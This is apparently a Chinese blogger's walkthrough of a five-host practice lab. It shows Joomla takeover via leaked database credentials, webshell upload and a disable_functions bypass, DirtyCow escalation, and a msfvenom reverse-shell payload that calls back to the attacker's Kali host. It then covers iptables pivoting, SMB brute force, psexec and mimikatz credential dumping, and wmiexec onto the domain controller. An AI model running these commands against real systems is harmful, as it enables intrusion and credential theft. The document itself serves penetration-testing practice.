特色:这个靶机有很多的知识特色点,无法一一摘出来,期待你的体验。网上有很多writeup不知道他们是怎么测试通过的,在某些地方我卡了很久。总的来说,这个靶机设计得非常好,很多有特色的构点。现在文章提交的,经过了我一手测试,去除了很多的曲折过程,这些过程才是“宝贵财富”;纵有不舍,为了防误导,也就不放了。
靶机下载地址:
https://pan.baidu.com/s/1KkMXnLqP2uzuGmVsP31jrw
提取码:cysh
靶机拓扑图:
攻击机kali:192.168.1.4
5个靶机组成一个网络群。
1、web-centos:跳板机:双网卡192.168.1.110、192.168.93.100
2、web-ubuntu:反向代理机 192.168.93.120
3、win7-pc:192.168.93.30
4、win2008:192.168.93.20
5、win2012:192.168.93.10
一、跳板机:web-centos
1、扫描 web0
开放端口:22、80、3306
扫描下目录,很多...
2、主页
发现有Joomla字样,经查询,joomla有个joomscan的漏洞扫描器。
3、joomscan扫描
joomscan -u http://192.168.1.110
版本为Joomla 3.9.12;
发现一个config file;
4、打开此文件,发现是一个数据库帐号和密码配置文件
$user = 'testuser'
$password = 'cvcvgjASD!@'
5、连接数据库
6、搜索。一般账号密码在数据库的user表中,直接检索,然后进行查找
$2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2
这个值没查询到明文;只能重置此密码了,
替换成123456的md5值e10adc3949ba59abbe56e057f20f883e,
账号:administrator
密码:123456
7、getshell
写入木马
木马上传的文件位置:/templates/beez3/
8、连接
打开蚁剑:
打开终端,发现无法输入命令,
查看phpinfo,发现php.ini里禁用了disable_functions,
9、绕过
(1)这里,用蚁剑代理市场里的插件,
这么用,
不知道为什么不能执行,
(2)去https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD下载后上传bypass_disablefunc.php到/var/www/html为b.php,再访问b.php
将红框中文件上传到同样的位置
上面给出的用法中有三个 GET 选项:cmd、outpath 和 sopath。选项非常简单,cmd 是你的邪恶命令,outpath 是命令输出文件路径(可读和可写),sopath 是我们的共享对象bypass_disablefunc_x64.so 的绝对路径。
http://192.168.1.110/b.php?cmd=ls&outpath=/tmp/123&sopath=/var/www/html/b.so
说明这台机器,我们拿下了。
10、内网渗透
(1)ifconfig
ip为192.168.93.120,但这是web-Ubuntu的机器啊!
(2)uname -a
这里是Ubuntu,Linux 4.4.0
whoami
id
注意一下,我们本来取得的机器是CentOS,但上面的uname -a 出来的是Ubuntu?
总结:我们开始是打算渗透进入centos靶机,但是我们这里远程命令执行的命令,回显出来的信息都是ubantu的靶机的。上网查了资料才知道,原来Centos是Ubuntu的反向代理,Nginx协议。
可用nginx -t 来查看nginx.conf配置文件,这里打开看下:
(3)ssh登录web-centos
最后在/tmp/mysql目录下找到了一个账号和密码; 前面扫描web-centos靶机开放了22端口,我们这里可以尝试下ssh远程连接
adduser wwwuser
passwd wwwuser_123Aqx
报错,查询:这里有个点要注意,kali默认ssh连接不上,主要原因是OpenSSH7.0以后的版本不同支持ssh-dss(DSA)算法。所以,要加上 -oHostKeyAlgorithms=+ssh-dss,构成ssh -oHostKeyAlgorithms=+ssh-dss [email protected],输入密码wwwuser_123Aqx,登录成功。
(4)uname -a
为 Linux 2.6.32
(5)dirtycow提权
Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)
40839.c上传攻击机,架设http.server,
下载到靶机中,wget http://192.168.1.4:8000/40616.c。放置在/tmp下,
编译,gcc -pthread 40839.c -o dirtycow -lcrypt
执行,./dirtycow 123456,出现 mmap:7f332c7c0000时,按Ctrl+z中断掉,
(6)建立攻击机kali(192.168.1.4)与web-centos(192.168.1.110)之间的shell联系:
通过msf生成一个木马在web-CentOS上
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4445 -f elf > a.elf
建立kali msf 和web-CentOS 的连接;
kali上生成一个监听,
在web-centos上执行木马./a.elf后,kali上反弹成功,
这时web-centos和kali建立了了一条联系,但web-centos中的./a.elf这个千万不能关闭,否则通道也就断了。
有了meterpreter,我们要拥有完整的shell才行,输入python -c 'import pty;pty.spawn("/bin/bash")'拿到整个完整的shell。在这之前,我们输入 run autoroute -s 192.168.93.0/24,这时出现个提示:Added route to 192.168.93.0/255.255.255.0 via 192.168.1.110,说明我们的网关的是192.168.1.110,下面要用到。
至此,拿下第一台主机(跳板板:出网ip:192.168.1.110、入网ip:192.168.93.100)。
二、配置iptables+路由
这里是个重点,在网上writeup中全是用各种代理工具来转发,可我测试发现一直有不同的问题存在,难道他们就没有吗,怎么做到的?后在高手的提点下,改用了iptables+路由的方式得以彻底解决“时通时不通、不稳定”的问题,从而避开了代理方式这一方案。
1、在web-centos 192.168.1.110配置如下:
要设置转发:vi /etc/sysctl.conf
修改后,重启网卡 service network restart
# 第一台设备win7-pc
iptables -t nat -A PREROUTING -i eth0 -d 192.168.1.110 -p tcp -j DNAT --to 192.168.93.30
# 第二台设备win2008
iptables -t nat -A PREROUTING -i eth0 -d 192.168.1.110 -p tcp -j DNAT --to 192.168.93.20
# 第三台设备win2012
iptables -t nat -A PREROUTING -i eth0 -d 192.168.1.110 -p tcp -j DNAT --to 192.168.93.10
以上三条 iptables 命令的含义是:
-t nat
:指定操作的表为 NAT 表,用于处理网络地址转换规则。-A PREROUTING
:向 PREROUTING 链(入站链)添加规则,表示对入站数据包进行处理。-i eth0
:指定输入接口为 eth0,即从 eth0 接口进入的数据包。-d 192.168.1.110
:匹配目标地址为 192.168.1.110 的数据包。-p tcp
:指定匹配的数据包协议为 TCP。-j DNAT
:执行 DNAT(目标地址转换)操作,即修改数据包的目标地址。--to 192.168.93.10
:将匹配的数据包目标地址修改为 192.168.93.10。
# 源IP地址SNAT
iptables -t nat -A POSTROUTING -o eth1 -d 192.168.93.0/24 -j SNAT --to 192.168.93.100
这条 iptables 命令的含义是:
-t nat
:指定操作的表为 NAT 表,用于处理网络地址转换规则。-A POSTROUTING
:向 POSTROUTING 链(出站链)添加规则,表示对出站数据包进行处理。-o eth1
:指定输出接口为 eth1,即将匹配的数据包发送到 eth1 接口。-d 192.168.93.0/24
:匹配目标地址为 192.168.93.0/24 的数据包。-j SNAT
:执行 SNAT(源地址转换)操作,即修改数据包的源地址。--to 192.168.93.100
:将匹配的数据包源地址修改为 192.168.93.100。
2、在攻击机kali192.168.1.4中配置路由如下:
sudo ip route add 192.168.93.0/24 via 192.168.1.110 dev eth0
这条命令的作用是告诉系统:如果要发送到 192.168.93.0/24 网段的数据包,应该先发送到网关 192.168.1.110,然后由 eth0 网卡发送出去。
3、测试:
可以用nmap直接扫描到192.168.93.10了。
三、拿下内网三台主机:192.168.93.10\20\30
1、探测192.168.93段内存活主机:30、20、10
nmap扫描三个Ip,发现都有445端口smb,直接爆破。
2、192.168.93.30\20\10:爆破密码
发现,192.168.93.30,密码为:123qwe!ASD
发现,192.168.93.20,密码为:123qwe!ASD
发现:192.168.93.10,密码为:zxcASDqw123!!
3、使用psexec模块上线msf
1)192.168.93.30/20:
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.93.30 192.168.93.20
set smbuser administrator
set smbpass 123qwe!ASD
run
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords
win7发现了域控test.org,但密码没提出来;
win2008发现了域控test.org,但密码没提出来;
2)192.168.93.20---win2008的shell:
出现meterpreter>后直接shell,得到:
3)建立192.168.93.10---win2012的文件共享
4)生成一个2012的木马(后面没用上)
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.4 LPORT=6666 -f exe > shell2012.exe
5)远程登录192.168.93.20
开远程桌面功能
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
防火墙放行
netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes
rdesktop 192.168.93.20 -r disk:floppy=/home/kali,带目录的远程登录
将shell2012.exe复制到c:\下。
6)将shell2012.exe复制进192.168.93.10---win2012中
域控主机:win2012
4、192.168.93.10---win2012获取shell
下载安装好impacket包,用到wmiexec工具,
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install
进到 /home/kali/tools/impacket/examples目录下,
python wmiexec.py 'administrator:[email protected]'
获得了win2012的cmd了。
5、登录93.10的远程桌面
开远程桌面功能
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
防火墙放行
netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes
rdesktop 192.168.93.10 -r disk:floppy=/home/kali,远程登录失败
6、上传mimikatz到win2012中去获取域控密码,
在rdesktop的win2008中发现了2012的域控登录框,输入用户名:test.org\administrator,密码为zxcASDqw123!!
将mimikatz复制到sysvol目录中,
sysvol对应在c:\windows\sysvol\sysvol
发现mimikatz在win2012上无法直接抓取密码。
7、导出进程dmp到本地mimikatz查看,
然后将lsass.dmp导出到攻击者的本地电脑上,再利用Mimikatz读取密码和hash。
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
8、虽然没有得出来,也没有关系,因为我在前面rdesktop win2008时发现了域控的机器了,也用密码登录成功了,说明那个test.org\administrator密码就是域控的密码。
四、观后感
众观过程,整个过程只有一点让人诟病,30\20\10主机的密码算是很强悍的,一般来说很难被爆破出来,尤其是10域控主机的密码到现在各大密码站点都没有提供出破解后ntlm密码。
另有一点,在整个过程中,对迁移进程migrate pid,我还没有了解掌握清楚,这个待后面有机会再深入学习练习下。
最后一点,在整个过程中,我对代理的使用是不成功的,没有找出症结所在,虽然最终是用iptables+路由替代解决的,后面有机会还是要继续尝试解决下。
近来,练习了一批靶机,文章阅读量呈直线下降,受众群体太小了。但可以肯定的是,每篇文章都是我亲手测试,可以确保内容的准确性和质量。通过靶机练习,我有了更多的体会和理解。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论